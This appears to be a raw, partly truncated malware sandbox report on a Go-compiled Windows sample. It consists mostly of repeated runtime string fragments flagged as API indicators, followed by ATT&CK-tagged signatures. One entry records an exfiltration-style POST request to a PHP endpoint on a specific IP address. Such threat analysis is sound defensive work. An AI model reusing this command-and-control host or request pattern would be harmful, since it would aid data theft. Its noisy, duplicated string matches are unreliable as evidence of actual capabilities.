valids.freeindex > s.nelemsbad sweepgen in refillspan has no free spaceruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept" (Indicator: "CertGetCertificateChain"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgorou" (Indicator: "CertFreeCertificateChain"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of missing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0bad type kind in finalizernegative idle mark workersuse of invalid sw" (Indicator: "CertFreeCertificateContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin"), Found api reference "eepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memorychannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gs" (Indicator: "CertCreateCertificateContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin"), Found api reference "ed between runtime: impossible type kind unsafe.Slice: len out of rangesync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "reflect: Elem of invalid type cannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of" (Indicator: "CertAddCertificateContextToStore"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "ed between runtime: impossible type kind unsafe.Slice: len out of rangesync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "reflect: Elem of invalid type cannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of" (Indicator: "CertVerifyCertificateChainPolicy"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin"), Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at: not pointer != sweepgen MB globals work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=VirtualAllocExfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many" (Indicator: "CertOpenStore"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goWow64GetThreadContextWow64SetThreadContextlink has been severedpackage not installedblock device requiredstate not recoverableread-only file sys" (Indicator: "CertOpenSystemStoreW"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goWow64GetThreadContextWow64SetThreadContextlink has been severedpackage not installedblock device requiredstate not recoverableread-only file sys" (Indicator: "CryptAcquireContextW"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "version: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free spaceruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swep" (Indicator: "CertGetCertificateChain"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoro" (Indicator: "CertFreeCertificateChain"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of missing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0bad type kind in finalizernegative idle mark workersuse of invalid s" (Indicator: "CertFreeCertificateContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on g" (Indicator: "CertCreateCertificateContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin"), Found api reference "CryptStringToBinaryA" (Indicator: "CryptStringToBinaryA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp 00000000-00003304.00000000.213653.F7350000.00000004.mdmp 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp"), Found api reference "runtime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at:" (Indicator: "CertOpenStore"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=VirtualAllocExfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #userArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=VirtualAllocExfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #userArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp"), Found api reference " locked to thread synctest bubble runtime.semacreateruntime.semawakeupbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad indexnwait > work.nprocs gp->atomicstatus=marking free object KiB work (eager) [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic" (Indicator: "CryptReleaseContext"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CryptAcquireContextW"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp"), Found api reference "exit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailable" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp") Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "CertCreateCertificateContext"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp")35:T1c0f," tE!\"","id":"static-18","level":"informative","mitre_attack_id":"T1027.002","name":"Matched Compiler/Packer signature","origin":"Static Parser","relevance":10,"sources":[{"report_id":"696847e8b9a771c86c0c6921","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$24","id":"api-125","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get system version information","origin":"API Call","relevance":3,"sources":[{"report_id":"696847e8b9a771c86c0c6921","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp\")","id":"string-312","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve path in which Windows is installed (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"696847e8b9a771c86c0c6921","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp\")","id":"string-427","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"696847e8b9a771c86c0c6921","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\" mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV.......\n Found more than 2 POST requests like this POST /20e1a9f6de594e28.php HTTP/1.1\nContent-Type: application/json\nHost: 45.93.20.34\nContent-Length: 240612\nConnection: Keep-Alive\nCache-Control: no-cache with payload ==> mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV.......","id":"network-68","level":"suspicious","mitre_attack_id":"T1030","name":"Multiple POSTs requests with same length but different payloads to a webserver (HTTPS)","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"696847e8b9a771c86c0c6921","report_type":"sandbox"}]},{"category":"Network Related","description":"$2e","id":"network-67","level":"suspicious","mitre_attack_id":"T1041","name":"POSTs data to a webserver (HTTPS)","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"696847e8b9a771c86c0c6921","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"sample.bin\"","id":"yara-44","level":"suspicious","mitre_attack_id":"T1027","name":"YARA signature match - ChaCha20 256-bit algorithm","origin":"YARA Signature","relevance":9,"sources":[{"report_id":"696847e8b9a771c86c0c6921","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$2f","id":"string-309","level":"informative","mitre_attack_id":"T1055.003","name":"Able to modify thread functionality – possible hijack (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"696847e8b9a771c86c0c6921","report_type":"sandbox"}]},{"category":"General","description":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin\")\n file/memory contains long string with (Indicator: \"DeviceIoControl\"; Source: \"00000000-00003304.00000000.213653.CD689000.00000002.mdmp\")","id":"string-220","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to create/control drivers (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"696847e8b9a771c86c0c6921","report_type":"sandbox"}]},{"category":"General","description":"\"